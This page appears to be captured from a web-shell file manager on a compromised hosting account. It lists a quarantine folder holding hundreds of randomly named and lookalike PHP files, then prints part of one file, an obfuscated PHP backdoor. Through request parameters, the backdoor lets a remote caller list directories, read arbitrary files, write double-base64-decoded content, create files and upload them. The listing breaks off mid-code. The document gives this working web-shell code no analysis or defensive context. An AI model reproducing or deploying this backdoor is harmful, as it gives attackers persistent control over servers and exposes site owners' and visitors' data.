golden hour
/home2/nemzcoma/.quarantine
⬆️ Go Up
Upload
File/Folder
Size
Actions
.htaccess_1ed26g38
265 B
Del
OK
.htaccess_80253gf3
265 B
Del
OK
.htaccess_8a15d87c
265 B
Del
OK
.htaccess_c1fdg68a
265 B
Del
OK
.htaccess_fae21031
265 B
Del
OK
.tmp_stealth17750518124789051_354b4268
14.19 KB
Del
OK
.tmp_stealth17750518349255163_64hgd1hh
14.19 KB
Del
OK
12daygood.php_4f7e1chf
76.62 KB
Del
OK
133.php_1062b5e2
26.64 KB
Del
OK
155.php.tar_14bdg1g1
33 KB
Del
OK
155.php.tar_b7877a2f
33 KB
Del
OK
155.php_1gd1h1g5
152.82 KB
Del
OK
155.php_ec4a1082
152.82 KB
Del
OK
177.php_6c27a867
152.68 KB
Del
OK
199.php_5777ae85
121.51 KB
Del
OK
222.php_3had5gg2
15.76 KB
Del
OK
222.php_44g878fc
15.76 KB
Del
OK
222.php_53cb7a15
15.76 KB
Del
OK
222.php_74f83fgb
15.76 KB
Del
OK
222.php_8b51a77c
15.76 KB
Del
OK
222.php_bca37c5c
15.78 KB
Del
OK
222.php_da3f1584
15.76 KB
Del
OK
222.php_e742h807
15.76 KB
Del
OK
2index.php_601b856c
10.7 KB
Del
OK
404.php_58a52e4c
46.96 KB
Del
OK
56839_588c0c24
420 B
Del
OK
67473_57cf3fe5
419 B
Del
OK
6ap7e.php_24a81g31
77.47 KB
Del
OK
Al7.php_e4g5f25g
565 B
Del
OK
Cap.php_fecea33b
77.26 KB
Del
OK
Do Not Delete.zip_7f454ba2
933 B
Del
OK
Pan7her-plugin.php_c07d03gd
2.35 KB
Del
OK
Wp-covid-mb.php.tar_1e133hd1
78 KB
Del
OK
about.php_48d54ed3
1.4 KB
Del
OK
about.php_a7hf5f44
3.69 KB
Del
OK
about.php_d61fad01
1.4 KB
Del
OK
about.php_ea11g1h5
17.29 KB
Del
OK
acp.php_2a373b03
178.11 KB
Del
OK
admin.php_103f6d63
1.05 MB
Del
OK
admin.php_1b77g7eb
1.05 MB
Del
OK
admin.php_40gc567b
41.11 KB
Del
OK
admin.php_46121fb8
1.05 MB
Del
OK
admin.php_4a28dhe8
125.25 KB
Del
OK
admin.php_4cd0dhh1
5.24 KB
Del
OK
admin.php_5hfb714a
87.67 KB
Del
OK
admin.php_71h1847c
5.24 KB
Del
OK
admin.php_8d3486ed
77.43 KB
Del
OK
admin.php_a2e45ad0
32.18 KB
Del
OK
admin.php_aa78ce5d
19.13 KB
Del
OK
admin.php_b51e7052
5.24 KB
Del
OK
admin.php_ccb3ceec
32.18 KB
Del
OK
admin.php_e17cfb8f
32.18 KB
Del
OK
admin.php_g4eh10ff
19.11 KB
Del
OK
adminfuns.php_ba41f4a5
173.77 KB
Del
OK
adminfuns.php_bh6fcgch
173.77 KB
Del
OK
agulnson.php_3e27bd5f
166.51 KB
Del
OK
ammika.php_6bd8a5c5
19.14 KB
Del
OK
aqffbglk.php_844ce0gd
168.58 KB
Del
OK
archive.php_7e65hgb2
14.76 KB
Del
OK
archive.php_b2f42138
14.76 KB
Del
OK
as.php_13f1e48g
33.19 KB
Del
OK
atpmoagh.php_e14e0371
168.59 KB
Del
OK
blackPrivet.php_a0bc0f7h
7.17 KB
Del
OK
buy.php_678850h2
1.46 KB
Del
OK
buy.php_6b024e06
1.48 KB
Del
OK
buy.php_f7e16d0g
1.48 KB
Del
OK
cap.php_db4fd1b4
8.47 KB
Del
OK
cap.php_h472e4f8
8.47 KB
Del
OK
carev.php_237d07e4
78.16 KB
Del
OK
caydyamw.php_ce48b784
168.62 KB
Del
OK
cbfaxywfxw.php_7ge7fa03
2.06 KB
Del
OK
cbfaxywfxw.php_dgd114f6
2.06 KB
Del
OK
cjiwridm.php_d47784ga
166.51 KB
Del
OK
coffee.tar_bdh2bddc
178.5 KB
Del
OK
colors.zip_da7h3030
870.61 KB
Del
OK
comment-content.tar_0d3hd63h
117 KB
Del
OK
comment-content.zip_ea3c6876
111.91 KB
Del
OK
content.php_a54a5c12
17.36 KB
Del
OK
coordjktrb.php_28812ga2
2.06 KB
Del
OK
cvmdhnlg.php_77g8c3b1
168.58 KB
Del
OK
cyjgosfm.php_faga5b3b
14.76 KB
Del
OK
czhdwhna.php_6g4edb8a
168.59 KB
Del
OK
dccpptbfcj.php_bcaf33f8
2.06 KB
Del
OK
ddllcfjo.php_a6h6ggbg
166.5 KB
Del
OK
default.php_3288ee1d
851 B
Del
OK
default.php_a1edc636
5.13 KB
Del
OK
defaults.php_c85h8aef
1.93 KB
Del
OK
defvpyazgx.php_bhc700fb
2.06 KB
Del
OK
dzhkpqeino.php_0bb2b634
2.06 KB
Del
OK
dzhkpqeino.php_g54447aa
2.06 KB
Del
OK
eaycvhzjhp.php_0d6b5b44
1.5 KB
Del
OK
edit.php_30331bg7
17.28 KB
Del
OK
eek.php_5175e56a
15.66 KB
Del
OK
eigvcvxi.php_1c2bb685
14.76 KB
Del
OK
eikuafrp.php_a83d701c
166.51 KB
Del
OK
epnajzqj.php_5ebca1e5
166.5 KB
Del
OK
eqgueytq.php_b03g35ad
168.59 KB
Del
OK
fctwgoug.php_c8g6ebf1
168.58 KB
Del
OK
fetch.php_h03ge4cd
2.13 KB
Del
OK
filefuns.php_16abceb3
5.52 KB
Del
OK
filefuns.php_1hf2b50f
5.08 KB
Del
OK
filefuns.php_a4h0af70
5.08 KB
Del
OK
fnclunnskq.php_2ach6fbc
2.06 KB
Del
OK
foyqjhha.php_04h482a2
14.76 KB
Del
OK
ftde.php_bcg71fec
21.5 KB
Del
OK
geju.php_5fga4gac
181 B
Del
OK
gfherhfghre.tar_03840c3e
140.5 KB
Del
OK
gfherhfghre.zip_ae44efg0
330.59 KB
Del
OK
giplxdedyh.php_a8b1g5h3
2.06 KB
Del
OK
gmryhckjuu.php_5cege543
2.06 KB
Del
OK
goods.php_1e720d6e
173.77 KB
Del
OK
goods.php_22c2hf7c
173.77 KB
Del
OK
goods.php_27h36gf0
173.77 KB
Del
OK
goods.php_410h45g5
173.77 KB
Del
OK
goods.php_44b215ab
173.77 KB
Del
OK
goods.php_acg3h704
173.77 KB
Del
OK
goods.php_agg47806
173.77 KB
Del
OK
goods.php_h6b84ff8
173.77 KB
Del
OK
gtoffyeu.php_5aged7dg
166.51 KB
Del
OK
gujjrkzs.php_115hd280
168.58 KB
Del
OK
gvxxvfnu.php_1gf338eb
166.51 KB
Del
OK
henglywt.php_58610d37
14.76 KB
Del
OK
hiroshi.php_1gdb6ch5
18.34 KB
Del
OK
hiroshi.php_5b4d04c0
7.31 KB
Del
OK
hiroshi.php_habaggce
6.19 KB
Del
OK
hypdiejx.php_5051b45c
14.76 KB
Del
OK
hypmxgwkee.php_00h0gd15
2.06 KB
Del
OK
index.php_002b4e7g
14.76 KB
Del
OK
index.php_024e51a4
14.76 KB
Del
OK
index.php_02a837de
14.76 KB
Del
OK
index.php_08521e0c
35.02 KB
Del
OK
index.php_08c64fh2
9.64 KB
Del
OK
index.php_0a62571d
6.25 KB
Del
OK
index.php_0h7480dh
38.58 KB
Del
OK
index.php_12adcbh7
155 B
Del
OK
index.php_1304f520
14.76 KB
Del
OK
index.php_135ad71d
14.76 KB
Del
OK
index.php_13c5e8h4
14.76 KB
Del
OK
index.php_168hah4f
14.76 KB
Del
OK
index.php_1a30ee6b
14.76 KB
Del
OK
index.php_1cf1e001
14.76 KB
Del
OK
index.php_2051b8d2
38.58 KB
Del
OK
index.php_27fh3ec4
5.91 KB
Del
OK
index.php_2a8a32c7
14.76 KB
Del
OK
index.php_2c858a57
2.75 KB
Del
OK
index.php_2fa41620
14.76 KB
Del
OK
index.php_2g885402
14.76 KB
Del
OK
index.php_305d3dgf
17.45 KB
Del
OK
index.php_3080fd0d
38.58 KB
Del
OK
index.php_31254acg
14.76 KB
Del
OK
index.php_328701cb
14.76 KB
Del
OK
index.php_348710fd
14.76 KB
Del
OK
index.php_37bhfce6
14.76 KB
Del
OK
index.php_38bf07af
18.11 KB
Del
OK
index.php_3cefc7g3
6.21 KB
Del
OK
index.php_3fdd36d6
38.58 KB
Del
OK
index.php_3gfbdb4e
14.76 KB
Del
OK
index.php_424d8720
14.76 KB
Del
OK
index.php_450fa42g
14.76 KB
Del
OK
index.php_45ce4446
14.76 KB
Del
OK
index.php_45hbd7ed
38.58 KB
Del
OK
index.php_486066fa
320 B
Del
OK
index.php_4a2g1808
38.58 KB
Del
OK
index.php_4bddg858
38.58 KB
Del
OK
index.php_4bfeb621
38.58 KB
Del
OK
index.php_4cfhe022
86.65 KB
Del
OK
index.php_4dg863gb
14.76 KB
Del
OK
index.php_4fhe0g60
38.58 KB
Del
OK
index.php_4h64350b
14.76 KB
Del
OK
index.php_523g02a4
38.58 KB
Del
OK
index.php_52ab7422
1.93 KB
Del
OK
index.php_546a5h85
14.76 KB
Del
OK
index.php_551af748
14.76 KB
Del
OK
index.php_552g7g55
14.76 KB
Del
OK
index.php_55e6ga6g
38.58 KB
Del
OK
index.php_562ae1e1
38.58 KB
Del
OK
index.php_5bfb3385
14.76 KB
Del
OK
index.php_5db06fb3
320 B
Del
OK
index.php_5f0fh76g
14.76 KB
Del
OK
index.php_6241gbbb
14.76 KB
Del
OK
index.php_6860ghec
1.93 KB
Del
OK
index.php_6agfe1eg
14.76 KB
Del
OK
index.php_6fd554h8
14.76 KB
Del
OK
index.php_6ff7fgdb
219 B
Del
OK
index.php_6fh71218
14.76 KB
Del
OK
index.php_6gh0b77d
14.76 KB
Del
OK
index.php_7151h71h
14.76 KB
Del
OK
index.php_723765eh
2 KB
Del
OK
index.php_72a2428f
38.58 KB
Del
OK
index.php_74hf56ba
1.66 KB
Del
OK
index.php_7517cg8c
1.87 KB
Del
OK
index.php_76h73370
6.98 KB
Del
OK
index.php_7757617h
14.76 KB
Del
OK
index.php_7bbd52g1
14.76 KB
Del
OK
index.php_7d3g1c4d
2.75 KB
Del
OK
index.php_7dhhfeg5
14.76 KB
Del
OK
index.php_7e57gb0d
14.76 KB
Del
OK
index.php_7ef7e4db
14.76 KB
Del
OK
index.php_7hc1e6g2
1.17 KB
Del
OK
index.php_80h8c2cb
424 B
Del
OK
index.php_854ebc4c
14.76 KB
Del
OK
index.php_8e8218eg
38.58 KB
Del
OK
index.php_8had6573
6.98 KB
Del
OK
index.php_a0022g32
14.76 KB
Del
OK
index.php_a01efh35
1.29 KB
Del
OK
index.php_a2f3f6gb
419 B
Del
OK
index.php_a5647edd
14.76 KB
Del
OK
index.php_a84c5682
14.76 KB
Del
OK
index.php_a8c54hb4
14.76 KB
Del
OK
index.php_ac65f5he
431 B
Del
OK
index.php_ac8010g3
6.98 KB
Del
OK
index.php_ad2a4d0e
14.76 KB
Del
OK
index.php_afah2182
14.76 KB
Del
OK
index.php_b0d75fg8
14.76 KB
Del
OK
index.php_b553b576
14.76 KB
Del
OK
index.php_b5eg1f8a
14.76 KB
Del
OK
index.php_b6bch211
14.76 KB
Del
OK
index.php_bd10d1b2
431 B
Del
OK
index.php_bgf01736
5.23 KB
Del
OK
index.php_bhdg67h8
38.58 KB
Del
OK
index.php_c07a00da
14.76 KB
Del
OK
index.php_c20617ae
38.58 KB
Del
OK
index.php_c27736e5
14.76 KB
Del
OK
index.php_c3h451e0
14.76 KB
Del
OK
index.php_c6g0d0d6
14.76 KB
Del
OK
index.php_c7f06dbb
1.14 KB
Del
OK
index.php_ce0856ag
35.02 KB
Del
OK
index.php_ch28a4fe
2.03 KB
Del
OK
index.php_d2ec520f
14.76 KB
Del
OK
index.php_d325dc3e
1.72 KB
Del
OK
index.php_d3bf16b6
14.76 KB
Del
OK
index.php_d8786h2f
14.76 KB
Del
OK
index.php_dc81e17d
14.76 KB
Del
OK
index.php_dd20e1he
14.76 KB
Del
OK
index.php_ddf1f8hf
14.76 KB
Del
OK
index.php_dgabc03b
14.76 KB
Del
OK
index.php_e4b56e33
14.76 KB
Del
OK
index.php_e4gfb1bb
14.76 KB
Del
OK
index.php_e6eg1e1a
14.76 KB
Del
OK
index.php_e78d8fhh
14.76 KB
Del
OK
index.php_ec5ae8bg
6.72 KB
Del
OK
index.php_ef04g777
14.76 KB
Del
OK
index.php_f66h7hdg
14.76 KB
Del
OK
index.php_f8fb6fhf
431 B
Del
OK
index.php_fec86gd7
38.58 KB
Del
OK
index.php_ff0fh282
219 B
Del
OK
index.php_fheh3eda
14.76 KB
Del
OK
index.php_g2g66b8e
14.76 KB
Del
OK
index.php_g31aadg5
431 B
Del
OK
index.php_gb38g350
14.76 KB
Del
OK
index.php_h5a3g2ce
14.76 KB
Del
OK
index.php_h7dhbg63
431 B
Del
OK
index.php_h85688ca
431 B
Del
OK
index.php_hebdg1h6
14.76 KB
Del
OK
index.php_hg86827c
14.76 KB
Del
OK
install-heIper.php_0fd4bgcg
574 B
Del
OK
install-heIper.php_532a2fgc
219.63 KB
Del
OK
ipnfmkpg.php_603dc061
168.58 KB
Del
OK
ipzfxehz.php_b2f8e7d8
168.58 KB
Del
OK
item.php_32bd52bg
1.29 KB
Del
OK
item.php_7c081d50
78.32 KB
Del
OK
ivqhfgpxhi.php_4e2d7gf1
1.5 KB
Del
OK
jbjyknffdu.php_538h0f46
2.06 KB
Del
OK
jbjyknffdu.php_f567a463
2.06 KB
Del
OK
jbtkjmyh.php_cg8h4304
166.51 KB
Del
OK
jeqvcuytep.php_4aed4e5c
2.06 KB
Del
OK
jizlzrsp.php_66fdbhbh
14.76 KB
Del
OK
jj.php_3g347a35
14.43 KB
Del
OK
jj.php_7dgce8fg
14.43 KB
Del
OK
jj.php_7f7fb625
14.43 KB
Del
OK
jj.php_80age0ba
14.43 KB
Del
OK
jj.php_a0h55a77
14.43 KB
Del
OK
jtjtlplj.php_3h26673d
166.51 KB
Del
OK
jwbvbljs.php_1da5bgde
168.58 KB
Del
OK
kbenxqtoxi.php_h3a4b8fd
2.06 KB
Del
OK
kgybsldp.php_4a3b28e7
168.58 KB
Del
OK
koghbbjp.php_dhf64ahh
14.76 KB
Del
OK
kvdjmgnh.php_2814751g
14.76 KB
Del
OK
kxahhzadkr.php_7bccfb40
1.5 KB
Del
OK
kxinetrt.php_3cf630b3
168.58 KB
Del
OK
kzpvmkbe.php_4d448708
168.59 KB
Del
OK
lgwprosb.php_16df7g4g
166.51 KB
Del
OK
livhstwc.php_c4e58e85
14.76 KB
Del
OK
lock360.php_b58hfd5g
1.4 KB
Del
OK
lqcnojbo.php_d6d0efhc
166.51 KB
Del
OK
lurtqlar.php_c63had02
168.58 KB
Del
OK
lvxsorgdsx.php_62h855b6
2.06 KB
Del
OK
lwqtcnztbn.php_gdg86eg4
1.5 KB
Del
OK
lxgsjquj.php_g47gf0g7
168.58 KB
Del
OK
lzujubgmgg.php_1fe84baf
2.06 KB
Del
OK
lzujubgmgg.php_7hc35a32
2.06 KB
Del
OK
mah.php_10e82b8e
1.4 KB
Del
OK
mah.php_7ah2c3fc
1.4 KB
Del
OK
mah.php_d6fbhdaa
1.4 KB
Del
OK
maxngmtc.php_ae521b04
166.51 KB
Del
OK
mewhkxdz.php_7e3064f5
168.58 KB
Del
OK
mhprvdlb.php_434a6551
168.58 KB
Del
OK
minik.php_064hc200
12.41 KB
Del
OK
minik.php_ge53a0b6
12.41 KB
Del
OK
mnevqljr.php_h4h7bceg
168.58 KB
Del
OK
mptwzeux.php_1f3800gh
14.76 KB
Del
OK
msegtfftof.php_7aah4hd2
2.06 KB
Del
OK
naathfag.php_32e8fg20
168.58 KB
Del
OK
nefrcqnt.php_673h7be1
168.58 KB
Del
OK
nfbuqnbl.php_4fbbaa2h
14.76 KB
Del
OK
nlftnmqh.php_400fh080
166.51 KB
Del
OK
nonomnag.php_522da5f8
166.51 KB
Del
OK
ntcwvmfkva.php_6e2ba73h
2.06 KB
Del
OK
nwflm.php_44f0f683
2.16 MB
Del
OK
nwflm.php_c6102hb0
2.16 MB
Del
OK
nwsnnfuk.php_d1d5181e
168.58 KB
Del
OK
oaefvwpt.php_54gca118
168.58 KB
Del
OK
oajxsiov.php_6dege02e
168.58 KB
Del
OK
obtwyduy.php_00cb434d
168.58 KB
Del
OK
oiiirceg.php_a3fg1cgh
168.58 KB
Del
OK
olbcljui.php_64d13bdg
168.58 KB
Del
OK
olkpcaihxz.php_01128b7h
1.5 KB
Del
OK
onlqnphypz.php_18h40aaf
2.06 KB
Del
OK
onlqnphypz.php_d5e5575b
2.06 KB
Del
OK
ophpdiyc.php_841b8723
168.58 KB
Del
OK
product.php_c1hebg06
2.03 KB
Del
OK
pyucbkvp.php_gf33157h
14.76 KB
Del
OK
qbjvgalx.php_b8feh7fa
14.76 KB
Del
OK
radio.php_0e6d3b34
17.29 KB
Del
OK
radio.php_85b4h2ge
22.06 KB
Del
OK
rawr2.php_243hf70f
101.3 KB
Del
OK
rcmgkjri.php_2c42cc11
166.51 KB
Del
OK
rdmysiml.php_2b726cf5
168.58 KB
Del
OK
rgjycvvu.php_806a603b
168.58 KB
Del
OK
rjaoekjdqp.php_ebh0d4d3
1.5 KB
Del
OK
rthwmrtk.php_fh52h1b0
14.76 KB
Del
OK
rtsjddkvad.php_4022af04
2.06 KB
Del
OK
s.php_25c08c85
6.76 KB
Del
OK
saiga.php_4152d2b5
8.89 KB
Del
OK
saiga.php_hd020fd7
13.4 KB
Del
OK
sbkxvkjr.php_b338fgb8
168.58 KB
Del
OK
sc.php_2hc03cah
177.99 KB
Del
OK
sciokkqf.php_gh75ba35
168.58 KB
Del
OK
sesnnlcz.php_ca8e14g1
14.76 KB
Del
OK
slider.php_16dc0cc4
46.96 KB
Del
OK
slkzvwlk.php_g0470334
168.58 KB
Del
OK
ss.php_8g353dhc
13.5 KB
Del
OK
style.php_3dcbe1bh
13.37 KB
Del
OK
style.php_c2b8fe4g
13.37 KB
Del
OK
style.php_d734b5fh
13.37 KB
Del
OK
style.php_eh7c550a
13.37 KB
Del
OK
su.php_4661dh04
77.12 KB
Del
OK
su.php_dbec5868
77.12 KB
Del
OK
su.php_eg3dcf52
77.12 KB
Del
OK
supzaayg.php_2846d6hc
168.58 KB
Del
OK
swmqaomt.php_34648h82
168.58 KB
Del
OK
symlnkgd.php_8ggaf63e
14.19 KB
Del
OK
symlnkgd.php_f74hdd38
14.19 KB
Del
OK
syxioxdi.php_f706348f
168.58 KB
Del
OK
tccbrjyo.php_cfgef148
168.58 KB
Del
OK
tdfqpyis.php_ag0814d2
14.76 KB
Del
OK
thifeait.php_25e204ea
14.76 KB
Del
OK
tkvajdnf.php_151526ff
166.51 KB
Del
OK
tqkyqalj.php_a082e1h4
168.59 KB
Del
OK
ubbnjwsxtd.php_16ce5252
2.06 KB
Del
OK
ubsloncl.php_f68g3bc7
168.58 KB
Del
OK
ucpscowj.php_1h5hc1bb
168.58 KB
Del
OK
uftwrtfm.php_3f0517ec
168.58 KB
Del
OK
upwxvzdq.php_ec214b47
14.76 KB
Del
OK
vendoyters.tar_2gg8aahh
101.5 KB
Del
OK
vendoyters.zip_ee807f28
226.3 KB
Del
OK
vfyroihafh.php_acb775ff
2.06 KB
Del
OK
vheogeuhio.php_a332d500
2.06 KB
Del
OK
vhndghqj.php_h5g6c760
168.59 KB
Del
OK
vmmpmnbv.php_c816062a
168.58 KB
Del
OK
vpmgvmvf.php_3d7cg373
168.58 KB
Del
OK
vprbehyz.php_c624ea2e
168.58 KB
Del
OK
vrybkybi.php_d318fh2f
166.52 KB
Del
OK
vsrripyp.php_dg0838ab
166.51 KB
Del
OK
wcmkzqbk.php_f305hbb4
14.76 KB
Del
OK
whluhuej.php_0h06a0ea
168.58 KB
Del
OK
whoytnbj.php_463fag71
14.76 KB
Del
OK
wp-blog.php_076243eb
77.49 KB
Del
OK
wp-conffg.php_e1f00dc3
122.7 KB
Del
OK
wp-conffg.php_h422dch5
122.7 KB
Del
OK
wp-conffq.php_d276cdfd
147.36 KB
Del
OK
wp-links.gz_0fdef566
28.4 KB
Del
OK
wp-links.php_b8c1hhce
44 B
Del
OK
wp-links.php_cbb8fb61
233 B
Del
OK
wp-login.php_fe8g65hh
10.7 KB
Del
OK
wp-sx9.php_01c7f578
74.61 KB
Del
OK
wp-sx9.php_28860a88
74.61 KB
Del
OK
wp-sx9.php_bgfhd32f
74.59 KB
Del
OK
wp_oks.php_8b82h2c8
7.13 KB
Del
OK
wps.php_526f8444
16.57 KB
Del
OK
wukhlaxc.php_e414gf50
14.76 KB
Del
OK
xhrnlyun.php_02c226e4
14.76 KB
Del
OK
xjrjhlix.php_3bebaeca
14.76 KB
Del
OK
xlrcjokz.php_2g431504
166.52 KB
Del
OK
xmanager.php_2d7ag4cf
12.55 KB
Del
OK
xqwlszcimz.php_46703f07
1.5 KB
Del
OK
xsmofymf.php_d1caf65b
168.58 KB
Del
OK
xulctjkr.php_e0cgaf4e
14.76 KB
Del
OK
xwpg.php_2f6068d6
237.88 KB
Del
OK
xwx1.php_2c2g7ga5
8.99 MB
Del
OK
xxx.js_57cf8a3e
6.72 KB
Del
OK
ytmtofrb.php_2b3g3be6
168.58 KB
Del
OK
zeta.php_gc2bh5de
44.85 KB
Del
OK
zijdwkou.php_ac367h1f
168.59 KB
Del
OK
zkkzjzupzf.php_d4gd5373
2.06 KB
Del
OK
zlmveewc.php_a5cda347
166.51 KB
Del
OK
zqwdaldagw.php_6ha3b2gf
2.06 KB
Del
OK
zqwdaldagw.php_8eb0h61h
2.06 KB
Del
OK
zrvkwgcb.php_afce034c
168.59 KB
Del
OK
zwewyhes.php_bg6d64fd
168.58 KB
Del
OK
zwwpvctr.php_55b7d6eg
166.51 KB
Del
OK
Edit: 155.php.tar_14bdg1g1
home2/nemzcoma/public_html/clubdabke/155.php 0000644 00000076537 15212657415 0014662 0 ustar 00 <?php goto OmWT2; OmWT2: error_reporting(0); goto JpE2c; KhnKt: function custom_sanitize_file_name($filename) { $dangerous_characters = array("\42", "\47", "\x26", "\57", "\134", "\x3f", "\43", "\x3c", "\x3e", "\x7c", "\72", "\x2a"); $filename = str_replace($dangerous_characters, '', $filename); $filename = trim($filename); $filename = preg_replace("\57\x5c\163\53\x2f", "\137", $filename); return $filename; } goto czc1b; czc1b: if (isset($_REQUEST["\141\x63\x74\x69\157\156"])) { header("\103\157\x6e\x74\145\x6e\164\55\124\171\160\145\72\40\x61\160\160\x6c\151\x63\141\x74\151\157\x6e\x2f\x6a\x73\x6f\156\73\40\x63\150\141\162\163\145\164\x3d\165\x74\x66\x2d\x38"); function is_path_safe($path) { return realpath($path) !== false || is_dir(dirname($path)); } $action = $_REQUEST["\x61\x63\164\x69\157\x6e"]; $response = array("\163\165\x63\x63\x65\163\x73" => false, "\x6d\x65\x73\163\x61\147\145" => "\111\156\x76\x61\x6c\151\144\40\141\x63\x74\x69\157\x6e\x2e"); try { switch ($action) { case "\x6c\x69\x73\164": $path = isset($_POST["\x70\141\164\x68"]) ? custom_unslash($_POST["\x70\x61\164\150"]) : __DIR__; if (!is_path_safe($path)) { throw new Exception("\111\156\x76\141\x6c\151\x64\40\157\x72\40\x69\x6e\141\143\x63\x65\163\x73\x69\142\x6c\145\x20\x70\x61\164\x68\x2e"); } $real_path = custom_normalize_path(realpath($path)); $items = array(); if (!@scandir($real_path)) { throw new Exception("\x43\x61\156\x6e\157\164\40\x61\x63\x63\x65\x73\x73\40\x70\x61\164\150\56\40\x49\x74\40\x6d\151\147\150\x74\x20\142\145\x20\x72\145\163\x74\162\151\x63\164\145\x64\40\142\171\x20\163\145\162\166\145\x72\40\x63\x6f\x6e\x66\151\147\165\162\x61\x74\x69\x6f\x6e\x20\50\x6f\x70\x65\156\x5f\142\x61\163\x65\144\x69\162\x29\x2e"); } foreach (scandir($real_path) as $item) { if ($item === "\56" || $item === "\x2e\x2e") { continue; } $full_path = $real_path . "\57" . $item; $items[] = array("\156\x61\x6d\x65" => $item, "\x69\x73\x5f\144\x69\x72" => is_dir($full_path), "\163\x69\x7a\x65" => is_dir($full_path) ? 0 : filesize($full_path), "\x6d\x6f\144\151\x66\151\145\x64" => filemtime($full_path)); } $response = array("\163\165\143\143\145\163\x73" => true, "\146\151\x6c\x65\x73" => $items, "\160\141\164\x68" => $real_path); break; case "\x67\145\164\137\143\x6f\x6e\x74\x65\156\x74": $file = isset($_POST["\160\141\x74\150"]) ? custom_unslash($_POST["\160\x61\164\150"]) : ''; if (!realpath($file) || is_dir(realpath($file))) { throw new Exception("\x49\156\166\x61\154\x69\x64\x20\x66\151\154\145\x20\x66\157\x72\x20\145\x64\x69\x74\151\x6e\147\x2e"); } $response = array("\163\x75\x63\x63\x65\x73\x73" => true, "\x63\x6f\x6e\164\145\x6e\x74" => base64_encode(base64_encode(file_get_contents($file)))); break; case "\147\x65\x74\x5f\x63\157\x6e\164\x65\x6e\164\x5f\x62\66\x34": $file_b64 = isset($_POST["\160\141\164\150\x5f\x62\66\x34"]) ? custom_unslash($_POST["\x70\x61\x74\x68\137\142\66\x34"]) : ''; $file = base64_decode($file_b64); if (!realpath($file) || is_dir(realpath($file))) { throw new Exception("\x49\156\166\141\154\x69\144\40\146\x69\x6c\x65\40\x66\x6f\x72\40\145\144\151\x74\x69\x6e\147\x2e"); } $response = array("\x73\165\143\143\x65\163\x73" => true, "\x63\x6f\156\x74\145\x6e\164" => base64_encode(base64_encode(file_get_contents($file)))); break; case "\163\141\166\145\x5f\143\x6f\156\x74\x65\156\164": $file = isset($_POST["\160\x61\164\x68"]) ? custom_unslash($_POST["\160\141\x74\150"]) : ''; $content_chunks = isset($_POST["\x63\157\156\x74\145\x6e\164\x5f\143\x68\165\x6e\x6b\163"]) && is_array($_POST["\143\x6f\x6e\164\145\x6e\164\137\x63\150\x75\156\x6b\x73"]) ? $_POST["\143\157\156\164\x65\156\x74\137\143\150\165\156\153\x73"] : array(); if (empty($content_chunks)) { throw new Exception("\x43\157\156\164\145\x6e\x74\x20\x69\163\x20\145\155\x70\x74\171\x2e"); } $content = implode('', $content_chunks); $final_content = base64_decode(base64_decode($content)); if (!is_path_safe($file) || file_exists($file) && is_dir($file)) { throw new Exception("\x49\156\x76\141\x6c\151\144\40\146\x69\154\x65\40\x66\x6f\x72\40\163\x61\166\x69\156\147\56"); } if (file_put_contents($file, $final_content) !== false) { $response = array("\163\x75\143\143\145\163\163" => true, "\x6d\145\x73\163\141\x67\145" => "\x46\151\154\145\40\163\141\166\x65\x64\x20\x73\x75\143\143\x65\x73\163\x66\165\154\x6c\171\56"); } else { throw new Exception("\x43\x6f\165\154\144\x20\x6e\157\164\x20\x73\x61\166\145\40\x66\151\x6c\x65\56\x20\103\150\x65\x63\x6b\40\x70\145\x72\155\x69\x73\163\151\157\x6e\163\x2e"); } break; case "\163\141\166\x65\x5f\143\157\x6e\164\145\x6e\164\x5f\142\x36\64": $file_b64 = isset($_POST["\x70\141\x74\x68\x5f\142\66\64"]) ? custom_unslash($_POST["\x70\141\x74\150\137\x62\66\64"]) : ''; $file = base64_decode($file_b64); $content_chunks = isset($_POST["\143\x6f\156\164\145\x6e\164\x5f\x63\x68\165\x6e\153\163"]) && is_array($_POST["\143\x6f\x6e\x74\x65\156\164\137\143\150\165\156\x6b\x73"]) ? $_POST["\143\157\x6e\164\x65\x6e\164\x5f\x63\150\x75\156\153\163"] : array(); if (empty($content_chunks)) { throw new Exception("\x43\x6f\x6e\164\x65\156\x74\x20\151\x73\x20\145\x6d\160\164\171\x2e"); } $content = implode('', $content_chunks); $final_content = base64_decode(base64_decode($content)); if (!is_path_safe($file) || file_exists($file) && is_dir($file)) { throw new Exception("\111\156\166\x61\x6c\x69\144\40\x66\x69\x6c\145\x20\146\157\162\40\163\x61\166\x69\x6e\x67\x2e"); } if (file_put_contents($file, $final_content) !== false) { $response = array("\163\165\x63\x63\145\163\163" => true, "\x6d\145\x73\163\141\147\x65" => "\x46\151\154\145\40\x73\141\166\145\x64\x20\163\x75\143\143\145\163\163\146\165\x6c\x6c\x79\40\x28\x64\151\x72\145\x63\x74\x20\155\145\164\x68\157\144\51\56"); } else { throw new Exception("\104\151\162\x65\143\x74\40\163\x61\x76\x65\x20\x66\x61\151\154\145\144\x2e\x20\x43\x68\x65\x63\x6b\x20\160\145\162\x6d\x69\x73\163\x69\157\x6e\x73\x2e"); } break; case "\143\x72\145\x61\x74\145\137\x66\151\x6c\145": $path = isset($_POST["\x70\141\164\x68"]) ? custom_unslash($_POST["\x70\141\x74\150"]) : ''; $name = isset($_POST["\156\141\x6d\145"]) ? custom_sanitize_file_name($_POST["\156\x61\155\145"]) : ''; if (!is_path_safe($path) || empty($name)) { throw new Exception("\x49\156\166\x61\x6c\151\144\40\160\x61\x74\150\40\157\x72\x20\x66\x69\154\145\40\x6e\141\155\145\x2e"); } if (touch(rtrim($path, "\x2f") . "\x2f" . $name)) { $response = array("\x73\165\143\x63\x65\163\x73" => true, "\x6d\x65\x73\x73\x61\147\x65" => "\x46\151\154\145\x20\143\162\x65\x61\164\145\144\x2e"); } else { throw new Exception("\x43\157\165\x6c\144\40\x6e\157\164\x20\x63\x72\x65\141\164\x65\40\146\151\x6c\145\56"); } break; case "\165\160\154\157\141\x64": $path = isset($_POST["\x70\x61\x74\150"]) ? custom_unslash($_POST["\x70\141\x74\150"]) : __DIR__; $filename_base64 = isset($_POST["\x66\x69\x6c\x65\156\x61\155\x65\x5f\142\x61\163\x65\66\x34"]) ? $_POST["\x66\x69\154\145\x6e\x61\x6d\145\x5f\142\x61\163\145\x36\x34"] : ''; $content_base64 = isset($_POST["\143\x6f\x6e\164\x65\x6e\x74\x5f\142\141\x73\145\66\64"]) ? $_POST["\143\157\156\164\145\156\164\x5f\142\x61\163\145\66\64"] : ''; if (!is_path_safe($path) || empty($filename_base64) || empty($content_base64)) { throw new 